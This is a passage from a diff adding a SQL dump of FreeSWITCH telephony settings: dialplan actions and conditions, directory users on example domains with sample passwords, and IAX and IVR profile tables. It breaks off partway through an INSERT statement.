+(24, 19, 'eval', '${snom_bind_key(2 off DND ${sip_from_user} ${sip_from_host} ${sofia_profile_name} message notused)}', 'action', 240),
+(25, 19, 'transfer', '3000', 'action', 250),
+(26, 20, 'eval', '${snom_bind_key(2 on DND ${sip_from_user} ${sip_from_host} ${sofia_profile_name} message api+uuid_transfer ${uuid} 9001)}', 'action', 260),
+(27, 20, 'playback', '$${hold_music}', 'action', 270),
+(28, 21, 'answer', '', 'action', 280),
+(29, 21, 'eavesdrop', '${db(select/${domain_name}-spymap/$1)}', 'action', 290),
+(30, 22, 'answer', '', 'action', 300),
+(31, 22, 'set', 'eavesdrop_indicate_failed=tone_stream://%(500, 0, 320)', 'action', 310),
+(32, 22, 'set', 'eavesdrop_indicate_new=tone_stream://%(500, 0, 620)', 'action', 320),
+(33, 22, 'set', 'eavesdrop_indicate_idle=tone_stream://%(250, 0, 920)', 'action', 330),
+(34, 22, 'eavesdrop', 'all', 'action', 340),
+(35, 23, 'transfer', '${db(select/${domain_name}-call_return/${caller_id_number})}', 'action', 350),
+(36, 24, 'answer', '', 'action', 360),
+(37, 24, 'group', 'delete:$1@${domain_name}:${sofia_contact(${sip_from_user}@${domain_name})}', 'action', 370),
+(38, 24, 'gentones', '%(1000, 0, 320)', 'action', 380),
+(39, 25, 'answer', '', 'action', 390),
+(40, 25, 'group', 'insert:$1@${domain_name}:${sofia_contact(${sip_from_user}@${domain_name})}', 'action', 400),
+(41, 25, 'gentones', '%(1000, 0, 640)', 'action', 410),
+(42, 26, 'bridge', '{ignore_early_media=true}${group(call:$1@${domain_name})}', 'action', 420),
+(43, 27, 'set', 'call_timeout=10', 'action', 430),
+(44, 27, 'bridge', '{ignore_early_media=true}${group(call:$1@${domain_name}:order)}', 'action', 440),
+(45, 28, 'set', 'dialed_extension=$1', 'action', 450),
+(46, 28, 'export', 'sip_auto_answer=true', 'action', 460),
+(47, 28, 'bridge', 'user/${dialed_extension}@${domain_name}', 'action', 470),
+(48, 29, 'set', 'dialed_extension=$1', 'action', 480),
+(49, 29, 'export', 'dialed_extension=$1', 'action', 490),
+(50, 30, 'set', 'voicemail_authorized=${sip_authorized}', 'action', 500),
+(51, 30, 'answer', '', 'action', 510),
+(52, 30, 'sleep', '1000', 'action', 520),
+(53, 30, 'voicemail', 'check default ${domain_name} ${dialed_extension}', 'action', 530),
+(54, 30, 'bind_meta_app', '1 b s execute_extension::dx XML features', 'anti-action', 540),
+(55, 30, 'bind_meta_app', '2 b s record_session::$${base_dir}/recordings/${caller_id_number}.${strftime(%Y-%m-%d-%H-%M-%S)}.wav', 'anti-action', 550),
+(56, 30, 'bind_meta_app', '3 b s execute_extension::cf XML features', 'anti-action', 560),
+(57, 30, 'set', 'ringback=${us-ring}', 'anti-action', 570),
+(58, 30, 'set', 'transfer_ringback=$${hold_music}', 'anti-action', 580),
+(59, 30, 'set', 'call_timeout=30', 'anti-action', 590),
+(60, 30, 'set', 'hangup_after_bridge=true', 'anti-action', 600),
+(61, 30, 'set', 'continue_on_fail=true', 'anti-action', 610),
+(62, 30, 'db', 'insert/${domain_name}-call_return/${dialed_extension}/${caller_id_number}', 'anti-action', 620),
+(63, 30, 'db', 'insert/${domain_name}-last_dial_ext/${dialed_extension}/${uuid}', 'anti-action', 630),
+(64, 30, 'set', 'called_party_callgroup=${user_data(${dialed_extension}@${domain_name} var callgroup)}', 'anti-action', 640),
+(65, 30, 'db', 'insert/${domain_name}-last_dial/${called_party_callgroup}/${uuid}', 'anti-action', 650),
+(66, 30, 'bridge', 'user/${dialed_extension}@${domain_name}', 'anti-action', 660),
+(67, 30, 'answer', '', 'anti-action', 670),
+(68, 30, 'sleep', '1000', 'anti-action', 680),
+(69, 30, 'voicemail', 'default ${domain_name} ${dialed_extension}', 'anti-action', 690),
+(70, 31, 'bridge', '${group_call(sales@${domain_name})}', 'action', 700),
+(71, 32, 'bridge', 'group/support@${domain_name}', 'action', 710),
+(72, 33, 'bridge', 'group/billing@${domain_name}', 'action', 720),
+(73, 34, 'set', 'transfer_ringback=$${hold_music}', 'action', 730),
+(74, 34, 'transfer', '1000 XML features', 'action', 740),
+(75, 35, 'answer', '', 'action', 750),
+(76, 35, 'sleep', '1000', 'action', 760),
+(77, 35, 'voicemail', 'check default ${domain_name}', 'action', 770),
+(78, 36, 'bridge', 'sofia/${use_profile}/$1', 'action', 780),
+(79, 37, 'answer', '', 'action', 790),
+(80, 37, 'conference', '$1-${domain_name}@default', 'action', 800),
+(81, 38, 'answer', '', 'action', 810),
+(82, 38, 'conference', '$1-${domain_name}@wideband', 'action', 820),
+(83, 39, 'answer', '', 'action', 830),
+(84, 39, 'conference', '$1-${domain_name}@ultrawideband', 'action', 840),
+(85, 40, 'answer', '', 'action', 850),
+(86, 40, 'conference', '$1-${domain_name}@cdquality', 'action', 860),
+(87, 41, 'bridge', 'sofia/${use_profile}/$1@conference.freeswitch.org', 'action', 870),
+(88, 42, 'set', 'conference_auto_outcall_caller_id_name=Mad Boss1', 'action', 880),
+(89, 42, 'set', 'conference_auto_outcall_caller_id_number=0911', 'action', 890),
+(90, 42, 'set', 'conference_auto_outcall_timeout=60', 'action', 900),
+(91, 42, 'set', 'conference_auto_outcall_flags=mute', 'action', 910),
+(92, 42, 'set', 'conference_auto_outcall_prefix={sip_auto_answer=true,execute_on_answer=''bind_meta_app 2 a s1 intercept::${uuid}''}', 'action', 920),
+(93, 42, 'set', 'sip_exclude_contact=${network_addr}', 'action', 930),
+(94, 42, 'conference_set_auto_outcall', '${group_call(sales)}', 'action', 940),
+(95, 42, 'conference', 'madboss_intercom1@default+flags{endconf|deaf}', 'action', 950),
+(96, 43, 'set', 'conference_auto_outcall_caller_id_name=Mad Boss2', 'action', 960),
+(97, 43, 'set', 'conference_auto_outcall_caller_id_number=0912', 'action', 970),
+(98, 43, 'set', 'conference_auto_outcall_timeout=60', 'action', 980),
+(99, 43, 'set', 'conference_auto_outcall_flags=mute', 'action', 990),
+(100, 43, 'set', 'conference_auto_outcall_prefix={sip_auto_answer=true,execute_on_answer=''bind_meta_app 2 a s1 intercept::${uuid}''}', 'action', 1000),
+(101, 43, 'set', 'sip_exclude_contact=${network_addr}', 'action', 1010),
+(102, 43, 'conference_set_auto_outcall', 'loopback/9999', 'action', 1020),
+(103, 43, 'conference', 'madboss_intercom2@default+flags{endconf|deaf}', 'action', 1030),
+(104, 44, 'set', 'conference_auto_outcall_caller_id_name=Mad Boss', 'action', 1040),
+(105, 44, 'set', 'conference_auto_outcall_caller_id_number=0911', 'action', 1050),
+(106, 44, 'set', 'conference_auto_outcall_timeout=60', 'action', 1060),
+(107, 44, 'set', 'conference_auto_outcall_flags=none', 'action', 1070),
+(108, 44, 'conference_set_auto_outcall', 'loopback/9999', 'action', 1080),
+(109, 44, 'conference', 'madboss3@default', 'action', 1090),
+(110, 45, 'answer', '', 'action', 1100),
+(111, 45, 'sleep', '2000', 'action', 1110),
+(112, 45, 'ivr', 'demo_ivr', 'action', 1120),
+(113, 46, 'conference', 'bridge:mydynaconf:sofia/${use_profile}/1234@conference.freeswitch.org', 'action', 1130),
+(114, 47, 'answer', '', 'action', 1140),
+(115, 47, 'esf_page_group', '', 'action', 1150),
+(116, 48, 'set', 'fifo_music=$${hold_music}', 'action', 1160),
+(117, 48, 'fifo', '5900@${domain_name} in', 'action', 1170),
+(118, 49, 'answer', '', 'action', 1180),
+(119, 49, 'fifo', '5900@${domain_name} out nowait', 'action', 1190),
+(120, 51, 'fifo', '$1@${domain_name} in undef $${hold_music}', 'action', 1200),
+(121, 54, 'answer', '', 'action', 1210),
+(122, 54, 'fifo', '$1@${domain_name} out nowait', 'action', 1220),
+(123, 57, '', '', 'expression', 1230),
+(124, 57, 'fifo', '$1@${domain_name} in undef $${hold_music}', 'action', 1240),
+(125, 60, 'answer', '', 'action', 1250),
+(126, 60, 'fifo', '$1@${domain_name} out nowait', 'action', 1260),
+(127, 61, 'pre_answer', '', 'action', 1270),
+(128, 61, 'sleep', '20000', 'action', 1280),
+(129, 61, 'answer', '', 'action', 1290),
+(130, 61, 'sleep', '1000', 'action', 1300),
+(131, 61, 'playback', 'voicemail/vm-goodbye.wav', 'action', 1310),
+(132, 61, 'hangup', '', 'action', 1320),
+(133, 62, 'ring_ready', '', 'action', 1330),
+(134, 62, 'sleep', '20000', 'action', 1340),
+(135, 62, 'answer', '', 'action', 1350),
+(136, 62, 'sleep', '1000', 'action', 1360),
+(137, 62, 'playback', 'voicemail/vm-goodbye.wav', 'action', 1370),
+(138, 62, 'hangup', '', 'action', 1380),
+(139, 63, 'set', 'ringback=$${uk-ring}', 'action', 1390),
+(140, 63, 'bridge', 'loopback/wait', 'action', 1400),
+(141, 64, 'set', 'ringback=$${hold_music}', 'action', 1410),
+(142, 64, 'bridge', 'loopback/wait', 'action', 1420),
+(143, 65, 'set', 'transfer_ringback=$${uk-ring}', 'action', 1430),
+(144, 65, 'answer', '', 'action', 1440),
+(145, 65, 'bridge', 'loopback/wait', 'action', 1450),
+(146, 66, 'set', 'transfer_ringback=$${hold_music}', 'action', 1460),
+(147, 66, 'answer', '', 'action', 1470),
+(148, 66, 'bridge', 'loopback/wait', 'action', 1480),
+(149, 67, 'answer', '', 'action', 1490),
+(150, 67, 'info', '', 'action', 1500),
+(151, 67, 'sleep', '250', 'action', 1510),
+(152, 67, 'hangup', '', 'action', 1520),
+(153, 68, 'answer', '', 'action', 1530),
+(154, 68, 'record_fsv', '/tmp/testrecord.fsv', 'action', 1540),
+(155, 69, 'answer', '', 'action', 1550),
+(156, 69, 'play_fsv', '/tmp/testrecord.fsv', 'action', 1560),
+(157, 70, 'answer', '', 'action', 1570),
+(158, 70, 'delay_echo', '5000', 'action', 1580),
+(159, 71, 'answer', '', 'action', 1590),
+(160, 71, 'echo', '', 'action', 1600),
+(161, 72, 'answer', '', 'action', 1610),
+(162, 72, 'playback', 'tone_stream://%(10000,0,1004);loops=-1', 'action', 1620),
+(163, 73, 'answer', '', 'action', 1630),
+(164, 73, 'playback', 'tone_stream://path=${base_dir}/conf/tetris.ttml;loops=10', 'action', 1640),
+(165, 75, 'answer', '', 'action', 1650),
+(166, 75, 'execute_extension', 'is_secure XML features', 'action', 1660),
+(167, 75, 'playback', '$${hold_music}', 'action', 1670),
+(168, 75, 'answer', '', 'anti-action', 1680),
+(169, 75, 'playback', '$${hold_music}', 'anti-action', 1690);
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `dialplan_condition`
+--
+
+CREATE TABLE IF NOT EXISTS `dialplan_condition` (
+  `condition_id` int(11) NOT NULL auto_increment,
+  `extension_id` int(11) NOT NULL,
+  `field` varchar(1238) NOT NULL,
+  `expression` varchar(128) NOT NULL,
+  `weight` int(11) NOT NULL,
+  PRIMARY KEY  (`condition_id`)
+) ENGINE=MyISAM  DEFAULT CHARSET=latin1 AUTO_INCREMENT=76 ;
+
+--
+-- Dumping data for table `dialplan_condition`
+--
+
+INSERT INTO `dialplan_condition` (`condition_id`, `extension_id`, `field`, `expression`, `weight`) VALUES
+(1, 1, '$${unroll_loops}', '^true$', 10),
+(2, 1, '${sip_looped_call}', '^true$', 20),
+(3, 2, '${domain_name}', '^$', 30),
+(4, 2, 'source', 'mod_sofia', 40),
+(5, 2, '${sip_auth_realm}', '^$', 50),
+(6, 3, '${domain_name}', '^$', 60),
+(7, 3, 'source', 'mod_openzap', 70),
+(8, 4, '${strftime(%w)}', '^([1-5])$', 80),
+(9, 4, '${strftime(%H%M)}', '^((09|1[0-7])[0-5][0-9]|1800)$', 90),
+(10, 5, 'destination_number', '^886$', 100),
+(11, 6, 'destination_number', '^\\*8$', 110),
+(12, 7, 'destination_number', '^\\*\\*(\\d+)$', 120),
+(13, 8, 'destination_number', '^870$', 130),
+(14, 9, '${network_addr}', '^$', 140),
+(15, 9, '${numbering_plan}', '^$', 150),
+(16, 9, '${call_debug}', '^true$', 160),
+(17, 9, '${sip_has_crypto}', '^(AES_CM_128_HMAC_SHA1_32|AES_CM_128_HMAC_SHA1_80)$', 170),
+(18, 9, '', '', 180),
+(19, 10, 'destination_number', '^9001$', 190),
+(20, 11, 'destination_number', '^9000$', 200),
+(21, 12, 'destination_number', '^88(.*)$|^\\*0(.*)$', 210),
+(22, 13, 'destination_number', '^779$', 220),
+(23, 14, 'destination_number', '^\\*69$|^869$|^lcr$', 230),
+(24, 15, 'destination_number', '^80(\\d{2})$', 240),
+(25, 16, 'destination_number', '^81(\\d{2})$', 250),
+(26, 17, 'destination_number', '^82(\\d{2})$', 260),
+(27, 18, 'destination_number', '^83(\\d{2})$', 270),
+(28, 19, 'destination_number', '^8(10[01][0-9])$', 280),
+(29, 20, 'destination_number', '^(20[01][0-9])$', 290),
+(30, 20, 'destination_number', '^${caller_id_number}$', 300),
+(31, 21, 'destination_number', '^3000$', 310),
+(32, 22, 'destination_number', '^3001$', 320),
+(33, 23, 'destination_number', '^3002$', 330),
+(34, 24, 'destination_number', '^operator$|^0$', 340),
+(35, 25, 'destination_number', '^vmain|4000$', 350),
+(36, 26, 'destination_number', '^sip:(.*)$', 360),
+(37, 27, 'destination_number', '^(30\\d{2})$', 370),
+(38, 28, 'destination_number', '^(31\\d{2})$', 380),
+(39, 29, 'destination_number', '^(32\\d{2})$', 390),
+(40, 30, 'destination_number', '^(33\\d{2})$', 400),
+(41, 31, 'destination_number', '^9(888|1616|3232)$', 410),
+(42, 32, 'destination_number', '^0911$', 420),
+(43, 33, 'destination_number', '^0912$', 430),
+(44, 34, 'destination_number', '^0913$', 440),
+(45, 35, 'destination_number', '^5000$', 450),
+(46, 36, 'destination_number', '^5001$', 460),
+(47, 37, 'destination_number', '^pagegroup$|^7243', 470),
+(48, 38, 'destination_number', '^5900$', 480),
+(49, 39, 'destination_number', '^5901$', 490),
+(50, 40, 'source', 'mod_sofia', 500),
+(51, 40, 'destination_number', 'park\\+(\\d+)', 510),
+(52, 41, 'source', 'mod_sofia', 520),
+(53, 41, 'destination_number', '^parking$', 530),
+(54, 41, '${sip_to_params}', 'fifo\\=(\\d+)', 540),
+(55, 42, 'source', 'mod_sofia', 550),
+(56, 42, 'destination_number', 'callpark', 560),
+(57, 42, '${sip_refer_to}', '', 570),
+(58, 43, 'source', 'mod_sofia', 580),
+(59, 43, 'destination_number', 'pickup', 590),
+(60, 43, '${sip_to_params}', 'orbit\\=(\\d+)', 600),
+(61, 44, 'destination_number', '^wait$', 610),
+(62, 45, 'destination_number', '^9980$', 620),
+(63, 46, 'destination_number', '^9981$', 630),
+(64, 47, 'destination_number', '^9982$', 640),
+(65, 48, 'destination_number', '^9983$', 650),
+(66, 49, 'destination_number', '^9984$', 660),
+(67, 50, 'destination_number', '^9992$', 670),
+(68, 51, 'destination_number', '^9993$', 680),
+(69, 52, 'destination_number', '^9994$', 690),
+(70, 53, 'destination_number', '^9995$', 700),
+(71, 54, 'destination_number', '^9996$', 710),
+(72, 55, 'destination_number', '^9997$', 720),
+(73, 56, 'destination_number', '^9998$', 730),
+(74, 57, 'destination_number', '^9999$', 740),
+(75, 57, '${sip_has_crypto}', '^(AES_CM_128_HMAC_SHA1_32|AES_CM_128_HMAC_SHA1_80)$', 750);
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `dialplan_context`
+--
+
+CREATE TABLE IF NOT EXISTS `dialplan_context` (
+  `context_id` int(11) NOT NULL auto_increment,
+  `dialplan_id` int(11) NOT NULL,
+  `context` varchar(64) NOT NULL,
+  `weight` int(11) NOT NULL,
+  PRIMARY KEY  (`context_id`)
+) ENGINE=InnoDB  DEFAULT CHARSET=latin1 AUTO_INCREMENT=3 ;
+
+--
+-- Dumping data for table `dialplan_context`
+--
+
+INSERT INTO `dialplan_context` (`context_id`, `dialplan_id`, `context`, `weight`) VALUES
+(1, 1, 'default', 10),
+(2, 1, 'public', 20);
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `dialplan_extension`
+--
+
+CREATE TABLE IF NOT EXISTS `dialplan_extension` (
+  `extension_id` int(11) NOT NULL auto_increment,
+  `context_id` int(11) NOT NULL,
+  `name` varchar(128) NOT NULL,
+  `continue` varchar(32) NOT NULL,
+  `weight` int(11) NOT NULL,
+  PRIMARY KEY  (`extension_id`)
+) ENGINE=InnoDB  DEFAULT CHARSET=latin1 AUTO_INCREMENT=58 ;
+
+--
+-- Dumping data for table `dialplan_extension`
+--
+
+INSERT INTO `dialplan_extension` (`extension_id`, `context_id`, `name`, `continue`, `weight`) VALUES
+(1, 1, 'unloop', '', 10),
+(2, 1, 'set_domain', 'true', 20),
+(3, 1, 'set_domain_openzap', 'true', 30),
+(4, 1, 'tod_example', 'true', 40),
+(5, 1, 'global-intercept', '', 50),
+(6, 1, 'group-intercept', '', 60),
+(7, 1, 'intercept-ext', '', 70),
+(8, 1, 'redial', '', 80),
+(9, 1, 'global', 'true', 90),
+(10, 1, 'snom-demo-2', '', 100),
+(11, 1, 'snom-demo-1', '', 110),
+(12, 1, 'eavesdrop', '', 120),
+(13, 1, 'eavesdrop', '', 130),
+(14, 1, 'call_return', '', 140),
+(15, 1, 'del-group', '', 150),
+(16, 1, 'add-group', '', 160),
+(17, 1, 'call-group-simo', '', 170),
+(18, 1, 'call-group-order', '', 180),
+(19, 1, 'extension-intercom', '', 190),
+(20, 1, 'Local_Extension', '', 200),
+(21, 1, 'group_dial_sales', '', 210),
+(22, 1, 'group_dial_support', '', 220),
+(23, 1, 'group_dial_billing', '', 230),
+(24, 1, 'operator', '', 240),
+(25, 1, 'vmain', '', 250),
+(26, 1, 'sip_uri', '', 260),
+(27, 1, 'nb_conferences', '', 270),
+(28, 1, 'wb_conferences', '', 280),
+(29, 1, 'uwb_conferences', '', 290),
+(30, 1, 'cdquality_conferences', '', 300),
+(31, 1, 'freeswitch_public_conf_via_sip', '', 310),
+(32, 1, 'mad_boss_intercom', '', 320),
+(33, 1, 'mad_boss_intercom', '', 330),
+(34, 1, 'mad_boss', '', 340),
+(35, 1, 'ivr_demo', '', 350),
+(36, 1, 'dyanmic conference', '', 360),
+(37, 1, 'rtp_multicast_page', '', 370),
+(38, 1, 'park', '', 380),
+(39, 1, 'unpark', '', 390),
+(40, 1, 'park', '', 400),
+(41, 1, 'unpark', '', 410),
+(42, 1, 'park', '', 420),
+(43, 1, 'unpark', '', 430),
+(44, 1, 'wait', '', 440),
+(45, 1, 'ringback_180', '', 450),
+(46, 1, 'ringback_183_uk_ring', '', 460),
+(47, 1, 'ringback_183_music_ring', '', 470),
+(48, 1, 'ringback_post_answer_uk_ring', '', 480),
+(49, 1, 'ringback_post_answer_music', '', 490),
+(50, 1, 'show_info', '', 500),
+(51, 1, 'video_record', '', 510),
+(52, 1, 'video_playback', '', 520),
+(53, 1, 'delay_echo', '', 530),
+(54, 1, 'echo', '', 540),
+(55, 1, 'milliwatt', '', 550),
+(56, 2, 'tone_stream', '', 560),
+(57, 2, 'hold_music', '', 570);
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `dialplan_special`
+--
+
+CREATE TABLE IF NOT EXISTS `dialplan_special` (
+  `id` int(11) NOT NULL auto_increment,
+  `context` varchar(255) NOT NULL,
+  `class_file` varchar(255) NOT NULL,
+  PRIMARY KEY  (`id`),
+  UNIQUE KEY `unique_context` (`context`)
+) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `dialplan_special`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `dingaling_profiles`
+--
+
+CREATE TABLE IF NOT EXISTS `dingaling_profiles` (
+  `id` int(10) unsigned NOT NULL auto_increment,
+  `profile_name` varchar(64) NOT NULL,
+  `type` varchar(64) NOT NULL,
+  PRIMARY KEY  (`id`),
+  UNIQUE KEY `unique_name` (`profile_name`)
+) ENGINE=InnoDB  DEFAULT CHARSET=latin1 AUTO_INCREMENT=2 ;
+
+--
+-- Dumping data for table `dingaling_profiles`
+--
+
+INSERT INTO `dingaling_profiles` (`id`, `profile_name`, `type`) VALUES
+(1, 'fs.intralanman.servehttp.com', 'component');
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `dingaling_profile_params`
+--
+
+CREATE TABLE IF NOT EXISTS `dingaling_profile_params` (
+  `id` int(10) unsigned NOT NULL auto_increment,
+  `dingaling_id` int(10) unsigned NOT NULL,
+  `param_name` varchar(64) NOT NULL,
+  `param_value` varchar(64) NOT NULL,
+  PRIMARY KEY  (`id`),
+  UNIQUE KEY `unique_type_name` (`dingaling_id`,`param_name`)
+) ENGINE=InnoDB  DEFAULT CHARSET=latin1 AUTO_INCREMENT=5 ;
+
+--
+-- Dumping data for table `dingaling_profile_params`
+--
+
+INSERT INTO `dingaling_profile_params` (`id`, `dingaling_id`, `param_name`, `param_value`) VALUES
+(1, 1, 'password', 'secret'),
+(2, 1, 'dialplan', 'XML,enum'),
+(3, 1, 'server', 'example.org'),
+(4, 1, 'name', 'fs.example.org');
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `dingaling_settings`
+--
+
+CREATE TABLE IF NOT EXISTS `dingaling_settings` (
+  `id` int(10) unsigned NOT NULL auto_increment,
+  `param_name` varchar(64) NOT NULL,
+  `param_value` varchar(64) NOT NULL,
+  PRIMARY KEY  (`id`),
+  UNIQUE KEY `unique_param` (`param_name`)
+) ENGINE=InnoDB  DEFAULT CHARSET=latin1 AUTO_INCREMENT=3 ;
+
+--
+-- Dumping data for table `dingaling_settings`
+--
+
+INSERT INTO `dingaling_settings` (`id`, `param_name`, `param_value`) VALUES
+(1, 'debug', '0'),
+(2, 'codec-prefs', '$${global_codec_prefs}');
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `directory`
+--
+
+CREATE TABLE IF NOT EXISTS `directory` (
+  `id` int(11) NOT NULL auto_increment,
+  `username` varchar(255) NOT NULL,
+  `domain` varchar(255) NOT NULL,
+  PRIMARY KEY  (`id`)
+) ENGINE=MyISAM  DEFAULT CHARSET=utf8 AUTO_INCREMENT=12 ;
+
+--
+-- Dumping data for table `directory`
+--
+
+INSERT INTO `directory` (`id`, `username`, `domain`) VALUES
+(1, '1000', 'example.com'),
+(2, '1001', 'example.org'),
+(3, '1002', 'example.net'),
+(5, '1003', 'example.info'),
+(6, '1004', 'example.com'),
+(7, '1005', 'example.org'),
+(8, '1006', 'example.net'),
+(9, '1007', 'example.info'),
+(10, '2000', 'default'),
+(11, '1009', '$${local_ip_v4}');
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `directory_domains`
+--
+
+CREATE TABLE IF NOT EXISTS `directory_domains` (
+  `id` int(10) unsigned NOT NULL auto_increment,
+  `domain_name` varchar(128) NOT NULL,
+  PRIMARY KEY  (`id`)
+) ENGINE=InnoDB  DEFAULT CHARSET=latin1 AUTO_INCREMENT=3 ;
+
+--
+-- Dumping data for table `directory_domains`
+--
+
+INSERT INTO `directory_domains` (`id`, `domain_name`) VALUES
+(1, 'freeswitch.org'),
+(2, 'sofaswitch.org');
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `directory_gateways`
+--
+
+CREATE TABLE IF NOT EXISTS `directory_gateways` (
+  `id` int(10) unsigned NOT NULL auto_increment,
+  `directory_id` int(10) unsigned NOT NULL,
+  `gateway_name` varchar(128) NOT NULL,
+  PRIMARY KEY  (`id`)
+) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `directory_gateways`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `directory_gateway_params`
+--
+
+CREATE TABLE IF NOT EXISTS `directory_gateway_params` (
+  `id` int(10) unsigned NOT NULL auto_increment,
+  `d_gw_id` int(10) unsigned NOT NULL,
+  `param_name` varchar(64) NOT NULL,
+  `param_value` varchar(64) NOT NULL,
+  PRIMARY KEY  (`id`),
+  UNIQUE KEY `unique_gw_param` (`d_gw_id`,`param_name`)
+) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `directory_gateway_params`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `directory_global_params`
+--
+
+CREATE TABLE IF NOT EXISTS `directory_global_params` (
+  `id` int(10) unsigned NOT NULL auto_increment,
+  `param_name` varchar(64) NOT NULL,
+  `param_value` varchar(128) NOT NULL,
+  `domain_id` int(10) unsigned NOT NULL,
+  PRIMARY KEY  (`id`)
+) ENGINE=InnoDB  DEFAULT CHARSET=latin1 AUTO_INCREMENT=2 ;
+
+--
+-- Dumping data for table `directory_global_params`
+--
+
+INSERT INTO `directory_global_params` (`id`, `param_name`, `param_value`, `domain_id`) VALUES
+(1, 'default_gateway', 'errors', 1);
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `directory_global_vars`
+--
+
+CREATE TABLE IF NOT EXISTS `directory_global_vars` (
+  `id` int(10) unsigned NOT NULL auto_increment,
+  `var_name` varchar(64) NOT NULL,
+  `var_value` varchar(128) NOT NULL,
+  `domain_id` int(10) unsigned NOT NULL,
+  PRIMARY KEY  (`id`)
+) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `directory_global_vars`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `directory_params`
+--
+
+CREATE TABLE IF NOT EXISTS `directory_params` (
+  `id` int(11) NOT NULL auto_increment,
+  `directory_id` int(11) default NULL,
+  `param_name` varchar(255) default NULL,
+  `param_value` varchar(255) default NULL,
+  PRIMARY KEY  (`id`)
+) ENGINE=InnoDB  DEFAULT CHARSET=utf8 AUTO_INCREMENT=23 ;
+
+--
+-- Dumping data for table `directory_params`
+--
+
+INSERT INTO `directory_params` (`id`, `directory_id`, `param_name`, `param_value`) VALUES
+(1, 1, 'password', '1234'),
+(2, 1, 'vm-password', '861000'),
+(3, 2, 'password', '1234'),
+(4, 2, 'vm-password', '861001'),
+(7, 5, 'password', '1234'),
+(8, 6, 'password', '1234'),
+(9, 7, 'password', '1234'),
+(10, 8, 'password', '123456'),
+(11, 9, 'password', '1234'),
+(12, 10, 'password', '123456'),
+(13, 11, 'password', '1234'),
+(14, 3, 'vm-password', '861002'),
+(15, 3, 'password', '1234'),
+(16, 11, 'vm-password', '861009'),
+(17, 10, 'vm-password', '1234'),
+(18, 9, 'vm-password', '861007'),
+(19, 8, 'vm-password', '861006'),
+(20, 7, 'vm-password', '861005'),
+(21, 6, 'vm-password', '861004'),
+(22, 5, 'vm-password', '861003');
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `directory_vars`
+--
+
+CREATE TABLE IF NOT EXISTS `directory_vars` (
+  `id` int(11) NOT NULL auto_increment,
+  `directory_id` int(11) default NULL,
+  `var_name` varchar(255) default NULL,
+  `var_value` varchar(255) default NULL,
+  PRIMARY KEY  (`id`)
+) ENGINE=MyISAM  DEFAULT CHARSET=utf8 AUTO_INCREMENT=6 ;
+
+--
+-- Dumping data for table `directory_vars`
+--
+
+INSERT INTO `directory_vars` (`id`, `directory_id`, `var_name`, `var_value`) VALUES
+(1, 1, 'numbering_plan', 'US'),
+(2, 2, 'numbering_plan', 'US'),
+(3, 3, 'numbering_plan', 'AU'),
+(4, 5, 'numbering_plan', 'US'),
+(5, 5, 'area_code', '434');
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `iax_conf`
+--
+
+CREATE TABLE IF NOT EXISTS `iax_conf` (
+  `id` int(11) NOT NULL auto_increment,
+  `profile_name` varchar(255) default NULL,
+  PRIMARY KEY  (`id`)
+) ENGINE=InnoDB  DEFAULT CHARSET=latin1 AUTO_INCREMENT=4 ;
+
+--
+-- Dumping data for table `iax_conf`
+--
+
+INSERT INTO `iax_conf` (`id`, `profile_name`) VALUES
+(3, 'test_profile');
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `iax_settings`
+--
+
+CREATE TABLE IF NOT EXISTS `iax_settings` (
+  `id` int(11) NOT NULL auto_increment,
+  `iax_id` int(11) default NULL,
+  `param_name` varchar(255) default NULL,
+  `param_value` varchar(255) default NULL,
+  PRIMARY KEY  (`id`)
+) ENGINE=InnoDB  DEFAULT CHARSET=latin1 AUTO_INCREMENT=43 ;
+
+--
+-- Dumping data for table `iax_settings`
+--
+
+INSERT INTO `iax_settings` (`id`, `iax_id`, `param_name`, `param_value`) VALUES
+(35, 3, 'debug', '1'),
+(36, 3, 'ip', '$${local_ip_v4}'),
+(37, 3, 'port', '4569'),
+(38, 3, 'context', 'public'),
+(39, 3, 'dialplan', 'enum,XML'),
+(40, 3, 'codec-prefs', '$${global_codec_prefs}'),
+(41, 3, 'codec-master', 'us'),
+(42, 3, 'codec-rate', '8');
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `ivr_conf`
+--
+
+CREATE TABLE IF NOT EXISTS `ivr_conf` (
+  `id` int(10) unsigned NOT NULL auto_increment,
+  `name` varchar(64) NOT NULL,
+  `greet_long` varchar(255) NOT NULL,
+  `greet_short` varchar(255) NOT NULL,
+  `invalid_sound` varchar(255) NOT NULL,
+  `exit_sound` varchar(255) NOT NULL,
+  `max_failures` int(10) unsigned NOT NULL default '3',
+  `timeout` int(11) NOT NULL default '5',
+  `tts_engine` varchar(64) default NULL,
+  `tts_voice` varchar(64) default NULL,
+  PRIMARY KEY  (`id`),
+  UNIQUE KEY `unique_name` (`name`)
+) ENGINE=InnoDB  DEFAULT CHARSET=latin1 AUTO_INCREMENT=4 ;
+
+--
+-- Dumping data for table `ivr_conf`
+--
+
+INSERT INTO `ivr_conf` (`id`, `name`, `greet_long`, `greet_short`, `invalid_sound`, `exit_sound`, `max_failures`, `timeout`, `tts_engine`, `tts_voice`) VALUES
